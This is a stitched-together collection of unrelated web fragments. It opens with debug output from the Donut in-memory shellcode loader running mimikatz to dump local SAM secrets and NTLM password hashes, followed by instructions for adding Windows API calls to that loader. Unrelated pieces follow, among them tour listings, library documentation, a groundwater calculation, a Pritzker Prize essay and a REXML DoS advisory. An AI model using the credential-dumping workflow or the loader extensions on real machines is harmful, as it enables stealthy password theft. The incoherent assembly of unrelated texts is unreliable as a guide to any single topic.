Loading Secur32.dll DEBUG: inmem_pe.c:157:RunPE(): Loading SHELL32.dll DEBUG: inmem_pe.c:157:RunPE(): Loading USER32.dll DEBUG: inmem_pe.c:157:RunPE(): Loading USERENV.dll DEBUG: inmem_pe.c:157:RunPE(): Loading VERSION.dll DEBUG: inmem_pe.c:157:RunPE(): Loading HID.DLL DEBUG: inmem_pe.c:157:RunPE(): Loading SETUPAPI.dll DEBUG: inmem_pe.c:157:RunPE(): Loading WinSCard.dll DEBUG: inmem_pe.c:157:RunPE(): Loading WINSTA.dll DEBUG: inmem_pe.c:157:RunPE(): Loading WLDAP32.dll DEBUG: inmem_pe.c:157:RunPE(): Loading advapi32.dll DEBUG: inmem_pe.c:157:RunPE(): Loading msasn1.dll DEBUG: inmem_pe.c:157:RunPE(): Loading ntdll.dll DEBUG: inmem_pe.c:157:RunPE(): Loading netapi32.dll DEBUG: inmem_pe.c:157:RunPE(): Loading KERNEL32.dll DEBUG: inmem_pe.c:180:RunPE(): Replacing KERNEL32.dll!ExitProcess with ntdll!RtlExitUserThread DEBUG: inmem_pe.c:157:RunPE(): Loading msvcrt.dll DEBUG: inmem_pe.c:180:RunPE(): Replacing msvcrt.dll!exit with ntdll!RtlExitUserThread DEBUG: inmem_pe.c:180:RunPE(): Replacing msvcrt.dll!_cexit with ntdll!RtlExitUserThread DEBUG: inmem_pe.c:180:RunPE(): Replacing msvcrt.dll!_exit with ntdll!RtlExitUserThread DEBUG: inmem_pe.c:194:RunPE(): Processing Delayed Import Table DEBUG: inmem_pe.c:202:RunPE(): Loading bcrypt.dll DEBUG: inmem_pe.c:202:RunPE(): Loading ncrypt.dll DEBUG: inmem_pe.c:317:RunPE(): Setting command line: CC6C lsadump::sam exit DEBUG: inmem_pe.c:436:SetCommandLineW(): Obtaining handle for kernelbase DEBUG: inmem_pe.c:452:SetCommandLineW(): Searching 2161 pointers DEBUG: inmem_pe.c:461:SetCommandLineW(): BaseUnicodeCommandLine at 00007FFF74179E60 : loader ..\instance DEBUG: inmem_pe.c:469:SetCommandLineW(): New BaseUnicodeCommandLine at 00007FFF74179E60 : CC6C lsadump::sam exit DEBUG: inmem_pe.c:486:SetCommandLineW(): New BaseAnsiCommandLine at 00007FFF74179E70 : CC6C lsadump::sam exit DEBUG: inmem_pe.c:533:SetCommandLineW(): Setting ucrtbase.dll!__p__acmdln "loader ..\instance" to "CC6C lsadump::sam exit" DEBUG: inmem_pe.c:546:SetCommandLineW(): Setting ucrtbase.dll!__p__wcmdln "loader ..\instance" to "CC6C lsadump::sam exit" DEBUG: inmem_pe.c:533:SetCommandLineW(): Setting msvcrt.dll!_acmdln "loader ..\instance" to "CC6C lsadump::sam exit" DEBUG: inmem_pe.c:546:SetCommandLineW(): Setting msvcrt.dll!_wcmdln "loader ..\instance" to "CC6C lsadump::sam exit" DEBUG: inmem_pe.c:321:RunPE(): Wiping Headers from memory DEBUG: inmem_pe.c:330:RunPE(): Creating thread for entrypoint of EXE : 0000018F04C207F8 .#####. mimikatz 2.2.0 (x64) #18362 Aug 14 2019 01:31:47 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi`<EMAIL_ADDRESS>) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX<EMAIL_ADDRESS>) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ mimikatz(commandline) # lsadump::sam Domain : DESKTOP-B888L2R SysKey : b43927eef0f56833c527ea951c37abc1 Local SID : S-1-5-21-1047138248-288568923-692962947 SAMKey : f1813d42812fcde9c5fe08807370613d RID : 000001f4 (500) User : Administrator RID : 000001f5 (501) User : Guest RID : 000001f7 (503) User : DefaultAccount RID : 000001f8 (504) User : WDAGUtilityAccount Hash NTLM: c288f1c30b232571b0222ae6a5b7d223 RID : 000003e9 (1001) User : john Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c RID : 000003ea (1002) User : user Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c RID : 000003eb (1003) User : test mimikatz(commandline) # exit Bye! DEBUG: inmem_pe.c:336:RunPE(): Process terminated DEBUG: inmem_pe.c:347:RunPE(): Erasing 1019904 bytes of memory at 0000018F04B90000 DEBUG: inmem_pe.c:351:RunPE(): Releasing memory DEBUG: loader.c:343:MainProc(): Erasing RW memory for instance DEBUG: loader.c:346:MainProc(): Releasing RW memory for instance DEBUG: loader.c:354:MainProc(): Returning to caller
Obviously you should be cautious with what files you decide to execute on your machine.
Donut was never designed with modularity in mind, however, a new version in future will try to simplify the process of extending the loader, so that others can write their own code for it. Currently, simple changes to the loader can sometimes require lots of changes to the entire code base and this isn't really ideal. If for any reason you want to update the loader to include additional functionality, the following steps are required.
For each API you want the loader to use, declare a function pointer in loader/winapi.h. For example, the Sleep
API is declared in its SDK header file as:
void Sleep(DWORD dwMilliseconds);
The function pointer for this would be declared in loader/winapi.h as:
typedef void (WINAPI *Sleep_t)(DWORD dwMilliseconds);
At the moment, Donut resolves API using a 64-bit hash, which is calculated by the generator before being stored in the shellcode itself. In donut.c is a variable called api_imports, declared as an array of API_IMPORT
structures. Each entry contains a case-sensitive API string and corresponding DLL string in lowercase. The Sleep
API is exported by kernel32.dll, so if we want the loader to use Sleep, the api_imports
must have the following added to it. This array is terminated by an empty entry.
{KERNEL32_DLL, "Sleep"},
Of course, KERNEL32_DLL used here is a symbolic constant for "kernel32.dll".
The DONUT_INSTANCE
structure is defined in include/donut.h and one of the fields called api
is defined as a union to hold three members. hash is an array of uint64_t
integers to hold a 64-bit hash of each API string. addr is an array of void*
pointers to hold the address of an API in memory and finally a structure holding all the function pointers. These pointers are placed in the same order as the API strings stored in api_imports. Currently, the api member can hold up to 64 function pointers or hashes, but this can be increased if required.
Where you place the API string in api_imports is entirely up to you, but it must be in the same order as where the function pointer is placed in the DONUT_INSTANCE
structure.
A number of DLL are already loaded by a process; ntdll.dll, kernel32.dll and kernelbase.dll. For everything else, the instance contains a list of DLL strings loaded before attempting to resolve the address of APIs. The following list of DLLs seperated by semi-colon are loaded prior to resolving API. If the API you want Donut loader to use is exported by a DLL not shown here, you need to add it to the list.
// required for each API used by the loader #define DLL_NAMES "ole32;oleaut32;wininet;mscoree;shell32;dnsapi"
If the API were successfully resolved, simply referencing the function pointer in a pointer to DONUT_INSTANCE
is enough to invoke it. The following line of code shows how to call the Sleep
API declared earlier.
inst->api.Sleep(1000*5);
Future plans for Donut are to provide multiple options for resolving API; Import Address Table (IAT), Export Address Table (EAT) and Exception Directory to name a few. It should also be much easier to write custom payloads using the loader.


--- layout: paper title: Publications --- Programming with a Differentiable Forth Interpreter, , Proceedings of the 34th International Conference on Machine Learning (ICML) 2017 [pdf]
@inproceedings{bosnjak2017forth, year={2017}, author={Bosnjak, Matko and Rocktaschel, Tim and Naradowsky, Jason and Riedel, Sebastian}, booktitle={Proceedings of the 34th International Conference on Machine Learning (ICML)}, title={Programming with a Differentiable Forth Interpreter}, }


--- title: dexml default_block: --- {% block page_meta %} {% endblock %} {% from "macros.j2" import render_excerpt with context %} {% block page_content %}
Dexml is a dead-simple object-XML mapper for Python.
Loosely inspired by Django's ORM, dexml takes the obvious mapping between XML tags and Python objects and lets you capture that as cleanly as possible. You write some simple class definitions to define your models and their attributes, and dexml handles the round-tripping to and from XML.
To get started, check out the unfortunately-still-a-work-in-progress tutorial, the FAQ, or the auto-generated API listing.
Or if you just want to get up and running in a hurry, here's a quick sample of dexml in action:


Blue Lagoon
$153/person
Includes transportation to and from as well as a silica mud mask. There is no limit to how long you can stay. Extra charge for storing luggage. Bring your swimsuit!
Ice Cave & Glacier Lagoon Winter Express Tour (Day tour) - Goecco Eco Tours
$466/person (12 for the price of 11, we got one seat free!)
16 hours. Brace yourselves! This tour is intense but I promise it’s worth it.  Nothing short of breathtaking. 5-star reviews, recommended for short visits to Iceland. You can read more about this tour here and here.
Classic Golden Circle (Day tour) - Gray Line Tours
$75/person
8 hours. Begins and ends in Reykjavik (pickup/dropoff included); goes to Thingvellir National Park (tectonic plates between North America and Europe), Gulfoss (waterfall), and Geysir (water that shoots up from the ground; very hot, pretty impressive). For more information you can read about it here.


Hello world, we are software developers!
Survey
Here is a survey, kindly fill this honestly
Name:
Email:
Number:
Option1
Option2
First
Second
Third
Fourth
Checkbox1
Checkbox2
Checkbox3
Checkbox4
Checkbox5
Checkbox6
Submit


jsUtils
The jsUtils class is the core class and should be include with all pages that use Web 2.0 UI libraries. The jsUtils class does not
need to be instantiated and is defined withing the DOM window object. This class has the following properties and methods:
General Functions
Retries a page from the server using GET method
Retries a page from the server using POST method
Checks if the variable is an integer.
Checks if the variable is an float number.
Checks if the variable is an hexadecimal number.
Checks if the variable is an number compatible with money format.
Checks if the variable is a valid date (mm/dd/yyyy).
Checks if the variable is a valid time (hh:mi).
Checks if the variable looks like an email address.
String Functions
Returns serialized representation of a JavaScript object.
Encodes string into base 64 encoding.
Encodes string into base 64 encoding.
Trims string variable.
Strings XML(HTML) tags.
Checks if the needle is in the array.
On Screen Functions
Locks the screen with an absolute div.
Unlocks the screen.
Displays a message dialog.
Hides the message dialog.
Centers an absolute div on screen.


From creating an account to adding your friends and family, we can do it all in a flash
Forget about the math by setting member contribution amount for groups
Bloomberg says that 30 percent of Netflix 's users share their accounts.
According to a NRAI Survey, Over 83 percent Indians prefer company when they dine out.
solo travel today makes up around 18% of global bookings with the majority preferring to travel in groups


We got mices!
- transition granular applications
- brand virtual convergence
- optimize sticky supply-chains
- engineer virtual applications
- incentivize e-business functionalities
- unleash next-generation systems
- cultivate plug-and-play channels
- iterate wireless relationships
- drive innovative partnerships
- repurpose dynamic e-commerce
- empower innovative technologies
- generate wireless technologies
- strategize e-business e-business
- strategize turn-key web services


Most Suspensions by a Website
:
Ranking
Website Name
Suspended
Most Open to Free Speech
:
Ranking
Website Name
Allowing


Data set
The data set for this example comes from the following reference: Kruseman & de Ridder (1994), Analysis and Evaluation of Pumping Test Data. International Institute for Land Reclamation and Improvement, Wageningen. The Netherlands. 377 pp. Data set from table 4.1 p77
Contents
General Information: Localisation: Test performed in 'Dalem' site (de Ridder 1961).
The fitted de Glee method requires to know the pumping rate and the drawdown in at least two observation wells located at different distances from the pumping well.
q=0.0088; % well discharge in m3/s
| HYTOOL Demo |
Use of the deg_fit function
We can then use the deg_fit function (Holzbecher) and compute transmissivity & resistence : T = 1.9e-2 m2/s, c = 1.8e7 s
[T,c] = deg_fit (q,r',s')
Iteration Func-count min f(x) Procedure 0 1 0.015997 1 3 0.0107119 initial simplex 2 5 0.00723583 expand 3 7 0.00201204 expand 4 9 0.00118635 reflect 5 10 0.00118635 reflect 6 12 0.00118635 contract inside 7 14 0.00113312 contract inside 8 16 0.00104555 reflect 9 18 0.00103578 contract inside 10 20 0.000982262 reflect 11 22 0.000982262 contract inside 12 24 0.00088682 expand 13 26 0.000815172 expand 14 28 0.000560313 expand 15 30 0.000258322 expand 16 32 0.000258322 contract inside 17 34 0.000258322 contract inside 18 36 0.000177794 reflect 19 38 0.000177794 contract inside 20 40 0.000177794 contract inside 21 42 0.000173307 reflect 22 44 0.000137083 reflect 23 45 0.000137083 reflect 24 46 0.000137083 reflect 25 48 0.000121516 contract inside 26 50 0.000121516 contract inside 27 52 0.000120109 reflect 28 54 0.000119025 contract inside 29 56 0.000118817 contract outside 30 58 0.000118348 contract inside 31 60 0.000118099 contract inside 32 61 0.000118099 reflect 33 63 0.000118045 contract inside 34 65 0.000118045 contract inside 35 67 0.000118014 contract inside 36 69 0.000118014 contract inside 37 71 0.000118011 contract inside 38 73 0.000118007 contract outside 39 75 0.000118006 contract inside 40 77 0.000118005 contract inside 41 79 0.000118005 contract outside 42 81 0.000118004 contract inside 43 83 0.000118004 contract inside 44 84 0.000118004 reflect 45 86 0.000118004 contract inside 46 88 0.000118004 contract outside 47 90 0.000118004 contract inside 48 92 0.000118004 contract inside 49 94 0.000118004 contract inside 50 96 0.000118004 contract outside 51 98 0.000118004 contract inside 52 100 0.000118004 contract outside 53 102 0.000118004 contract inside 54 104 0.000118004 contract inside 55 106 0.000118004 contract outside 56 108 0.000118004 contract inside 57 110 0.000118004 contract inside 58 112 0.000118004 contract inside 59 114 0.000118004 contract inside 60 116 0.000118004 contract inside 61 118 0.000118004 contract inside 62 120 0.000118004 contract outside 63 122 0.000118004 contract inside 64 124 0.000118004 contract outside 65 126 0.000118004 contract inside 66 128 0.000118004 contract inside 67 130 0.000118004 contract inside 68 132 0.000118004 contract inside 69 134 0.000118004 reflect 70 136 0.000118004 contract inside 71 138 0.000118004 contract inside 72 140 0.000118004 contract inside 73 142 0.000118004 contract inside 74 144 0.000118004 contract inside 75 146 0.000118004 reflect 76 148 0.000118004 contract inside 77 152 0.000118004 shrink 78 156 0.000118004 shrink 79 157 0.000118004 reflect 80 161 0.000118004 shrink 81 162 0.000118004 reflect 82 166 0.000118004 shrink 83 167 0.000118004 reflect 84 168 0.000118004 reflect 85 169 0.000118004 reflect 86 171 0.000118004 reflect 87 175 0.000118004 shrink 88 177 0.000118004 contract inside 89 178 0.000118004 reflect 90 180 0.000118004 contract inside 91 184 0.000118004 shrink 92 186 0.000118004 contract outside 93 190 0.000118004 shrink 94 194 0.000118004 shrink 95 198 0.000118004 shrink 96 199 0.000118004 reflect 97 203 0.000118004 shrink Optimization terminated: the current x satisfies the termination criteria using OPTIONS.TolX of 1.000000e-04 and F(X) satisfies the convergence criteria using OPTIONS.TolFun of 1.000000e-11 T = 0.0188 c = 1.7528e+07
The result found by Kruseman & de Ridder was: T = 2.46e-2 m2/s, c = 4.9e7 s


Home
Data Centers
Default
Storage
192-168-135-129-Local
Network
mymanager
Templates
Clusters
Default
Hosts
<IP_ADDRESS>
VMs
cimi_machine1
cimi_machine3
cimi_machine5
vm_mini1
vm_mini2
myvm
myvm_1
cimi_machine5
cimi_machine7
External Providers
Sign Out
Profile
BookMarks
Tags
Configure
Guide
About
FeedBack
admin
Sign Out
Profile
Data Centers
Clusters
Hosts
NetWotks
Storage
Disks
Virtual Machines
Pools
Templates
Volumes
Users
Events
New VM
Edit
Clone VM
Run once
up
down
Migrate
Cancel Migrate
Make Template
Guide Me
General
Network Interfaces
Disks
Snapshots
Applications
Affinity Groups
Permissions
Sessions
Events
Name:
cimi_machine3
Description:
the virtual machine for cimi
Template:
blank
Operating System:
CentOS 5.4.1
Default Display Type
SPICE
Priority
Low
Defined Memory:
512MB
Physical Memory Guaranteed
512MB
Number of CPU Cores
1(1 Socket(s),1 Core(s) per Socket)
Guest CPU Count:
N/A
Guest CPU Count:
N/A
Highly Available:
No
Number of Monitor:
1
USB Policy:
Diasabled
Origin:
mycloud
Run On:
<IP_ADDRESS>
Custom Properties:
Not-Configured
Cluster Compatibility Version:
3.5
VM Id:
8b886976-7e3d-4218-8c97-e9f48
Second
Third
Third
Third
Third
Third
Third
Third
Events
(2)
Alerts
(2)
Tasks
(2)
New Virtual Machine-Guide Me
Virtual Machine created.
Device to configure:
Configure Virtual Disks
Configure Later
New Virtual Machine
General
System
Initial Run
Console
Host
High Availability
Resource Allocation
Boot Options
Random Generator
Custom Properties
Name:
Description:
Comment:
Stateless
Start in Pause Mode
Delete Protection
nic1
mgmt/mgmt
mgmt1/mgmt2
System
Cluster
Default
Based on Template
Template1
Template2
Template Sub Version
2.1
2.2
Operation System
CentOS
Ubuntu
Instance Type
image
cd rom
Optimized for
Linux
Windows
Hide Advanced Options
Submit
Cancel


I came from Guangzhou, China. In 2014, I started my high school in Vancouver. Finished my grade 12 in 2017, I felt in love with the cultures and the diversity of the country. I made up my mind to step further and apply for universities in Canada. Lucky enough, in September 2017, I started to study at the University of Toronto. My university life was a little bit different rough at the beginning, as I chose Physics and Maths as my majors. Those courses were tough but more importently they are unsatisfying and boring. Eventually, Computer Sciences came into my sights, and I made it into the program and started my learning in programming.
By learning and practicing, I now have a more in-depth understanding of what I am about to become - a programmer. During my college years, I built up a solid background of computer programming, writing clean code and design comphrensive structure. I study in the focus of Machine Learning and Information Technology, and finished courses like Alogrithm Design, Computer Networks, Web Programming, Image Understanding, Deep Learning and Neural Network.
Learning and making digital games is also one of my personal interest. I designed and implemented serveral games using Unity and C#, and I do recommend you to check out a few of them.
In my free time, I would work on my home server hosted by a raspberry pi (linux). Currently, I am working on the implementation of home automation and NAS cloud drive. Although it does not take up too much of my time, I still learned a lot of new knowledge about linux kernel and its services.
I also have a black cat name Charcoal (she really looks like one) :)


RASPIED
Home
Robot
Features
Web App
Downloads
Contact Us
Home
Robot
Features
Web App
Downloads
Contact Us
menu
Downloads
Project Code Repositories
Robot Controller Code
Web App Code
Video Streaming Server Code
Project Proposal Documents
Project proposal
Project proposal presentation
Literature Reviews
Literature review: Josh
Literature review: Jeremy
Literature review: Muhummad
User Testing Documents
Faculty research ethics approval
Department of Student Affairs research approval
Informed consent form
User Testing Tasks
Survey: Robot and robot movements
Survey: Robot features
Survey: Supporting Web App
Final Project Papers
Final paper: Robot and robot movements - Josh
Final paper: Robot features - Jeremy
Final paper: Supporting Web App - Muhummad
Project Poster
Project Poster (pdf)
Project Poster (png)


Category
Question
Many people might think master architects are born to be "master." But of course, they also share something in life with anyone else -- they all had an origin (no matter in terms of space or time), all used to be young, and finally, all need to face death. While the contents in this section are mainly basic facts of the laureates, it might be interesting to see them presented in aggregate.
Like many other fields, the architecture industry had been dominated by males since architecture became organized as a profession. In an interview, the first female architect who had won the Pritzker Architecture Prize, Zaha Hadid, was asked, “do you think the profession is gender-biased?” She answered, “I don’t think it is profession… I think people are biased.”
From it was founded in 1979, the Pritzker Architecture Prize was awarded to architects all around the world. It's said to be awarded "irrespective of nationality, race, creed, or ideology." The contents in this part showed the nationality of architects when they won the prize and the country of birth, where might have cultural influences for them.
In public view, like wearing black, the preference of wearing black, round, plastic-frame spectacles is a stereotype of architects, which originated from Le Corbusier and his famous owlish glasses. However, the contents in this part only focus on showing whether these master architects wear glasses but not the styles. It shows that only 18 out of 48 laureates wearing glasses.
There is a widely saying that most architects' zodiac signs are "Taurus." Is it that true for these master architects? As the zodiac signs of them shown beneath: 10 out of 48 laureates have zodiac signs of "Taurus"(which is the most), 7 are "Leo," and "Virgo" and "Scorpio" each has five laureates. So, the saying is true for people who won the Pritzker Architecture Prize.
Due to this profession's unique nature, very few architects establish their reputation of career when they were young. Therefore, in the public's impression (even people in this field), most master architects are a group of people past middle age, as if they were always like that. In this part, let's take a look at what they looked like when they were young/ younger (couldn't find the data of 1996 and 1986 laureate).
Instead of saying most master architects live a long life, living a long life gives them more chances to become masters in this field, which would enable them to build more projects. While from 1988, 15 out of 48 laureates had passed away, among whom Zaha Hadid was the youngest (passed away at 65, 2016), Oscar Niemeyer was the oldest (passed away at 104, 2012), and the average is 86.
Like many other design subjects, Architecture is considered hard to learn and teach. In modern times, studying in the college is usually the first part of the training process for architects. This section aims to show where the laureates received their formal training before becoming architects and their roles in architectural education in later life.
Architecture had been considered a complex profession tough to learn by oneself. However, before the system of apprenticeship with master builders was widely replaced by modern architectural education, many great modern architects, like Le Corbusier (1887 - 1965), Frank Lloyd Wright (1867 - 1959), Ludwig Mies van der Rohe (1886 - 1969), lacked formal training as an architect.
Architectural design is a highly practice-dependent discipline. Unlike the Nobel Prize laureates, 66.6% of the Pritzker Architecture Prize's laureates hold Bachelor's degree, 22.9% holds Master's degree, and only two of them are Doctors. Among the three architects whose data are missing, Aldo Rossi had a degree in Architecture. Still, it remains unknown whether it is a Bachelor's degree or a Master's degree, for he received the degree 10 years after entering Milan Polytechnic University.
Learning architecture abroad, whether via study in college, travel, or work for master architects, can significantly impact young architects. The contents in this part only focus on showing whether the laureates had studied architecture abroad in the college.
Many master architects are invited as guest professors or visiting professors worldwide, and some of them have long-term professorship in the University. The data in this part mainly comes from the biography provided by the website of The Pritzker Architecture Prize and Wikipedia. The label "N" means there is no content about "teaching" for this architect from the two data sources.
To a great extent, an architect's career is built up by his or her architecture projects in the real context. But instead of introducing their projects, this section aims at exploring other career-related aspects of these architects, like other careers they had considered, the trips and figures important to their works, when they won one of the world's premier professional recognition, etc.
Not all master architects want to make "architecture" their life-long pursue from the very beginning. Some of them had thought about following their father's profession, some of them had learned other subjects in the undergraduate, and some of them even had been quite successful in the career before. In this part, let's take a look of the other careers they had considered.
Traveling can make a significant impact on architects. Some laureates took many trips while studied and worked in other countries, some traveled to see the works of the architects they admired, and some got the opportunity to meet and even work with these master architects during the stay. While some architects, like the 2010 laureates, Kazuyo Sejim, were described by the critics as "the generation of architects trained by television and video."
Like the Nobel Prize's laureates, many laureates of the Pritzker Architecture Prize had passed their middle age when they won the award. Since 1979, the youngest is the 2010 laureate, Ryue Nishizawa, at age 44, and the oldest is 2018 laureate, B.V. Doshi, at age 90. And the average age of the laureates is 63.
Working together can bring architects opportunities to learn from each other. While most master architects have their unique perspective of architecture and working style, were they influenced by someone else? It would be interesting to see which of these laureates had worked together, which might impact their own career.
For architects, "establish one's own practice" normally means open their own firm/ studio (with partners). This part focuses on the period between they received their first architecture degree and established their own practice. During this period, some of them chose further study in the college, worked for other architects, traveled around, or taught in the university (The "number" stands for the years it took).
Every laureate has his/ her unique contribution to architecture, no matter when he/ she received the award. Some laureates established their names in the field a long time before receiving the Pritzker Architecture Prize. And some laureates spent many years improving themselves before establishing their own practice. Therefore, this section doesn't aim to compare the time it takes to become a laureate but encourage readers to explore the story behind the numbers (The "number" stands for the years it took).
Hover over to see who they are?
Data & Documentation
- The data used in this project is mainly from: The Pritzker Architecture Prize Official Site, Wikipedia, and Britannica.
-The details about design and development process are documented in my portfolio.
Copyright © 2020, Yuan Fang


-
In this summary report, discover how fellows CIOs and technology leaders weigh in on the opportunities IT megatrends are providing CIOs and IT executives. Uncover their opinions on top trends such as mobility, the cloud, big data analytics, and the consumerization of IT.
-
This white paper discusses results from a Forrester Consulting survey conducted on over 200 global firms regarding their plans for modernising their application and technology portfolios. Review the key findings and learn why it’s so important to start planning your projects today.
-
Discover why applications are necessary for greater business agility and innovation, how they have come to play such a critical role, and what IT needs to do to create and implement a world-class approach to leveraging applications for business benefit.
-
This white paper provides insights into getting your organisation positioned for innovation, mobility, integration, and agility. Learn why you need to include applications in your strategy to meet these objectives—and why doing so can help you realise better outcomes.
-
Review this informative white paper to discover the importance of implementing a formal transformation program. Gain insight into 2 business transformation success stories, 9 reasons why you should work with an experienced transformation partner, a simple 5-phase business transformation program, and much more.
-
Flip through this comprehensive vendor ezine and find out the innovative technology changes forward-thinking financial service providers are implementing. Discover the top 9 financial services trends of 2012, the opportunities the cloud offers businesses in the financial services industry, and much more.
-
IT innovations are creating endless opportunities for enterprises in the travel industry to improve their customers experience and expand their business. Learn about the possibilities IT trends such as mobility, cloud computing, and big data are creating for airline and rail providers.
-
Discover an innovative application development and management strategy that can enable your enterprise to produce products and processes that meet the expectations of the new generation of the connected and technologically savvy consumer.


Impeachment hearings live updates: Sondland testifies
The fourth day ofpublic hearings in the House's impeachment inquiry into President Donald Trump kicks off Wednesday with testimony from three Trump administration officials.
U.S. ambassador to the European Union Gordon Sondland will begin testifying at 9 a.m., followed at about 2:30 p.m. by Laura Cooper, the deputy assistant secretary of defense for Russia, Ukraine and Eurasia, and David Hale, undersecretary of state for political affairs.
Download the NBC News mobile app for the latest news on the impeachment inquiry
22176


FCPXMLElementType
public enum FCPXMLElementType : String
Defines the element types that can exist in FCPXML documents.
-
This element is not from an FCPXML document.
Declaration
Swift
case none
-
The
<resources>
element in an FCPXML document.Declaration
Swift
case resourceList = "resources"
-
The
<library>
element in an FCPXML document.Declaration
Swift
case library = "library"
-
Undocumented
Declaration
Swift
case assetResource = "asset"
-
Undocumented
Declaration
Swift
case formatResource = "format"
-
Undocumented
Declaration
Swift
case mediaResource = "media"
-
Undocumented
Declaration
Swift
case effectResource = "effect"
-
Undocumented
Declaration
Swift
case multicamResource
-
Undocumented
Declaration
Swift
case compoundResource
-
Undocumented
Declaration
Swift
case event = "event"
-
Undocumented
Declaration
Swift
case project = "project"
-
Undocumented
Declaration
Swift
case multicamClip = "mc-clip"
-
Undocumented
Declaration
Swift
case compoundClip = "ref-clip"
-
Undocumented
Declaration
Swift
case synchronizedClip = "sync-clip"
-
Undocumented
Declaration
Swift
case assetClip = "asset-clip"
-
Undocumented
Declaration
Swift
case clip = "clip"
-
Undocumented
Declaration
Swift
case audio = "audio"
-
Undocumented
Declaration
Swift
case video = "video"
-
Undocumented
Declaration
Swift
case gap = "gap"
-
Undocumented
Declaration
Swift
case transition = "transition"
-
Undocumented
Declaration
Swift
case spine = "spine"
-
Undocumented
Declaration
Swift
case audition = "audition"
-
Undocumented
Declaration
Swift
case sequence = "sequence"
-
Undocumented
Declaration
Swift
case title = "title"
-
Undocumented
Declaration
Swift
case param = "param"
-
Undocumented
Declaration
Swift
case caption = "caption"
-
Undocumented
Declaration
Swift
case text = "text"
-
Undocumented
Declaration
Swift
case textStyleDef = "text-style-def"
-
Undocumented
Declaration
Swift
case textStyle = "text-style"
-
Undocumented
Declaration
Swift
case marker = "marker"
-
Undocumented
Declaration
Swift
case keyword = "keyword"
-
Undocumented
Declaration
Swift
case rating = "rating"
-
Undocumented
Declaration
Swift
case chapterMarker = "chapter-marker"
-
Undocumented
Declaration
Swift
case analysisMarker = "analysis-marker"
-
Undocumented
Declaration
Swift
case note = "note"
-
Undocumented
Declaration
Swift
case folder = "collection-folder"
-
Undocumented
Declaration
Swift
case keywordCollection = "keyword-collection"
-
Undocumented
Declaration
Swift
case smartCollection = "smart-collection"


--- layout: post title: DoS Vulnerabilities in REXML categories: [] author: michael published: true date: 2008-08-23 08:15:00.000000000 +01:00 ---
The ruby-security team have published an advisory about a DoS bug affecting REXML users. Almost all rails applications will be affected by this vulnerability and you’re strongly advised to take the mitigating steps recommended in the advisory. If you’re not sure whether your application could be affected, you should upgrade.
The announcement contains details describing the monkeypatch solution, but to summarise:
Copy the fix file into RAILS_ROOT/config/initializers, it will be required automatically.
This fix is also available as a gem, to install it run:
gem install rexml-expansion-fixThen add require ‘rexml-expansion-fix’ to your environment.rb file. The manual fix and the gem are identical, if you have applied one you do not need to apply the other.


Hello, Mustachioed Hero
You pay
You are responsible for 30% of your monthly rent
Your total rent is $1,150.00 every month
You qualify for a monthly rent up to $1,400.00
Personal InformationUpdate
| Password | ****** |
| First Name | First Name |
| Last Name | |
| Gender | |
| Date of Birth | |
| Social Security Number | ***-**-1454 |
| Race/Ethnicity | |
| Home Phone | |
| Work Phone |
Financial InformationUpdate
| Monthly Income | |
| Source of Income | |
| Monthly Rent | |
| Estimated Utilities |
Household Members' InformationUpdate
Household InformationUpdate
| Veteran (You) | |
| Verteran/Serviceman (Other) | |
| Mobility Impaired | |
| Hearing Impaired | |
| Sight Impaired | |
| Claiming Disability |
Other InformationUpdate
| HUD Violation | |
| Lived in Public Housing Before | |
| Criminal Activity | |
| Owe Money to PHA | |
| Registered Sex Offender | |
| Claiming Disability |


After optimization¶
Suppose all the optimized results have been generated, here are the possible post-operations:
- Operations on the optimized
Machine
object; - Generate new lattice file with optimized results for other programs.
Optimization snippet:
latfile = 'test_392.lat'
oc = genopt.DakotaOC(lat_file=latfile)
oc.simple_run(iternum=20)
Get optimized results¶
Optimized results could be retrieved by get_opt_results()
method of
DakotaOC
class:
- return type: list
>>> r = oc.get_opt_results(rtype='list')
>>> print(r)
[0.00013981587907,
7.5578423135e-05,
-5.3982438406e-05,
-1.9620020032e-06,
0.00017942079806,
...
2.0182502319e-05,
0.0001173634281,
8.685656753e-05,
7.3950720611e-05,
8.2924283647e-05]
The returned list is alphabetically sorted according to the variables’ names.
- return type: dictionary, label format:
plain
>>> r = oc.get_opt_results()
>>> # or
>>> r = oc.get_opt_results(rtype='dict', label='plain')
>>> print(r)
{'x001': 0.00013981587907,
'x002': 7.5578423135e-05,
'x003': -5.3982438406e-05,
'x004': -1.9620020032e-06,
'x005': 0.00017942079806,
...
'y056': 2.0182502319e-05,
'y057': 0.0001173634281,
'y058': 8.685656753e-05,
'y059': 7.3950720611e-05,
'y060': 8.2924283647e-05}
- return type: dictionary, label format:
fancy
>>> r = oc.get_opt_results(label='fancy')
>>> print(r)
{'FS1_BBS:DCH_D2412': {'config': {'theta_x': 0.00021066533055}, 'id': 1048},
'FS1_BBS:DCH_D2476': {'config': {'theta_x': 0.00025833402592}, 'id': 1098},
...
This is the more comprehensive way to represent the results, one of the
advantages is that results with this format could be easily to apply on to
reconfigure
method of Machine
object, for instance:
>>> for k,v in r.items():
>>> m.reconfigure(v['id'], v['config'])
Note
get_opt_results
has outfile
optional parameter, if not
defined, output file that generated by current optimization
instance would be used, or the defined dakota output file would be used,
but only valid for cases of label='plain'
;
label='fancy'
is only valid for
the case of rtype='dict'
.
Get orbit data¶
get_orbit()
could be used to apply all the optimized results, then
new Machine
could be get in the following way:
>>> z,x,y,m = oc.get_orbit()
>>> print(m.conf(1224)['theta_x'])
8.5216269467e-05
Or in another way:
>>> oc.get_orbit()
>>> m = oc.get_machine()
New machine m
could be used for the next operations.
Note
get_orbit()
could be assigned a optional parameter: outfile
,
into which the plain ASCII data of zpos
, x
, and y
would
be saved.
Get new optimized lattice file¶
get_opt_latfile()
is created to generate new lattice file with
optimized results, for the sake of possible next usage of asking for
lattice file, this is kind of more general interface.
>>> oc.get_opt_latfile(outfile='opt1.lat')
Here is the links to the lattice files of
original
and
optimized
ones, both could be
used as the input lattice file of flame
program.
Note
generate_latfile()
in module genopt.dakutils
could be used to generate lattice file from flame.Machine
object.


Rajesh Kannan KC2KBY/VU2OW
International Lighthouse and Lightship Weekend
Photos from
August 18,19 2018 at Mahabalipuram Lighthouse, India
|
|
|
|
| Ham Friends visiting us
during our lighthouse event in 2014 |
Visitors form another
breed. They came for the scraps of food we offered to them |
